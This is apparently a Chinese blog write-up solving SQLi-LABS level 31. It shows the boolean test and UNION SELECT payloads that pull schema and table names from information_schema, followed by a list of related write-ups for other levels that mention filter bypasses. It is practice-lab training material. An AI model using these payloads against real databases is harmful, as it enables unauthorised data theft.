SQLi LABS Less-31

第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号

在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示

再输入 1") and false-- a,使SQL恒不成立,页面空显示

由此判断存在SQL注入,注入点为双引号+括号的字符型注入

页面有显示位,我们可以使用联合注入进行脱库

-1") union select 1,2,
(select group_concat(schema_name) from information_schema.schemata)
-- a

脱表

-1") union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='security')
-- a

SQLi LABS Less-31相关推荐

SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
sqli——labs初学者通关详
目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下但后面插入HTTP Referer时,并没有对参数进行过滤,我们可以从Referer入手首先,输入正确的账号 ...
SQLi LABS Less-35
第三十五关注入点为数值型 , 注入方式为报错注入此关卡通过代码WAF 转义了单引号' , 我们使用编译绕过WAF , 先上结果 ?id=1 and updatexml(1,concat(0 ...
SQLi LABS Less-34
第三十四关注入点为单引号字符串型 , 注入类型为报错注入此关卡通过代码WAF 将单引号' 转义成 /' , 我们使用编译绕过WAF , 先上结果 �' and updatexml(1,co ...
SQLi LABS Less-11 联合注入+报错注入
第十一关是单引号字符型注入,推荐使用联合注入.报错注入方式一:联合注入参考文章:联合注入使用详解原理+步骤+实战教程第一步.判断注入类型用户名输入: a' or 1 -- a 密码随便输入: ...

SQLi LABS Less-31

SQLi LABS Less-31相关推荐

最新文章

热门文章